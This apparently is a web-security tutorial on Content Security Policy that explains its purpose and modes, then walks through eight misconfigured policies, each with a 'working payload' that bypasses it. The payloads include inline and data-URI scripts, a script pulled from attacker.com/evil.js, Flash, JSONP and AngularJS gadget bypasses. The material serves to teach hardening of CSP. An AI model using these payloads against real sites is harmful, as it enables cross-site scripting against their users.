Content Security Policy
What is CSP?
CSP is Content Security Policy Header. CSP is a HTTP header sent by the browser to the user and it is supported by almost all the commonly used browsers. The primary goal of this header is to provide protection against XSS (Cross site scripting) attack and other content injection attacks.
CSP blocks these injection attacks by restricting the sources of content loading and content injections by the attacker to those only allowed or whitelisted by the developer.
It is a mechanism to define which resources can be fetched out or executed by a web page. In other words, it can be understood as a policy that decides which scripts, images, iframes can be called or executed on a particular page from different locations. Content Security Policy is implemented via response headers or meta elements of the HTML page.
Also by using CSP the server can specify which protocols are allowed to be used. Can we think CSP as mitigation of XSS? The answer is no! CSP is an extra layer of security against content injection attacks. The first line of defense is output encoding and input validation always. A successful CSP implementation not only secures a web page against these vulnerabilities but also gives a wide range of attack details that were unsuccessful i.e. blocked by CSP itself. Web admin can be benefitted using this feature to spot a potential bug.
Why is it needed?
CSP adds one extra layer of safeguard against the javascript injection attack. This header does not act like a fail-safe solution for the these kind of attacks but it helps making it more difficult for an attacker to inject the malicious content and steal the data.
How CSP works?
With CSP you can define your own rule set that will whitelist the content to be shown on the web page. The web browser will verify the content against the rule set, that will block the injected content which is not defined in the ruleset (This will throw the exception in the browser console).
CSP has two configuration modes:
Blocking or Enforcing mode: In this mode, the injected code will be blocked and report will be sent to the report-uri.
Report only mode: In report only mode, injected content won’t be blocked but the report will be sent to report-uri.
CSP implementation:
Before starting the CSP implementation, One should have the list of all the trusted domains from where you want to load the content.
CSP Rule set can have following directives:
Lets have some scenario about CSP Implementation and Missconfiguration.
Scenario : 1
Content-Security-Policy: script-src https://facebook.com https://google.com ‘unsafe-inline’ https://*; child-src ‘none’; report-uri /Report-parsing-url;
By observing this policy we can say it’s damn vulnerable and will allow inline scripting as well . The reason behind that is the usage of unsafe-inline source as a value of script-src directive.
working payload : “/><script>alert(1337);</script>
Scenario : 2
Content-Security-Policy: script-src https://facebook.com https://google.com ‘unsafe-eval’ data: http://*; child-src ‘none’; report-uri /Report-parsing-url;
Again this is a misconfigured CSP policy due to usage of unsafe-eval.
working payload : <script src=”data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==”></script>
Scenario : 3
Content-Security-Policy: script-src ‘self’ https://facebook.com https://google.com https: data *; child-src ‘none’; report-uri /Report-parsing-url;
Again this is a misconfigured CSP policy due to usage of a wildcard in script-src.
working payloads :”/>’><script src=https://attacker.com/evil.js></script>"/>'><script src=data:text/javascript,alert(1337)></script>
Scenario: 4
Content-Security-Policy: script-src ‘self’ report-uri /Report-parsing-url;
Misconfigured CSP policy again! we can see object-src and default-src are missing here.
working payloads :<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>”>’><object type=”application/x-shockwave-flash” data=’https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\”})))}catch(e) {alert(1337)}//’>
<param name=”AllowScriptAccess” value=”always”></object>
Scenario: 5
Content-Security-Policy: script-src ‘self’; object-src ‘none’ ; report-uri /Report-parsing-url;
we can see object-src is set to none but yes this CSP can be bypassed too to perform XSS. How ? If the application allows users to upload any type of file to the host. An attacker can upload any malicious script and call within any tag.
working payloads :”/>’><script src=”/user_upload/mypic.png.js”></script>
Scenario : 6
Content-Security-Policy: script-src ‘self’ https://www.google.com; object-src ‘none’ ; report-uri /Report-parsing-url;
In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. jsonp endpoints allow insecure callback methods which allow an attacker to perform xss.
working payload :”><script src=”https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
Scenario : 7
Content-Security-Policy: script-src ‘self’ https://cdnjs.cloudflare.com/; object-src ‘none’ ; report-uri /Report-parsing-url;
In such scenarios where script-src is set to self and a javascript library domain which is whitelisted. It can be bypassed using any vulnerable version of javascript file from that library , which allows the attacker to perform xss.
working payloads :<script src=”https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
Scenario : 8
Content-Security-Policy: script-src ‘self’ ajax.googleapis.com; object-src ‘none’ ;report-uri /Report-parsing-url;
If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable class. For more details visit this awesome git repo.
working payloads :ng-app”ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>”><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
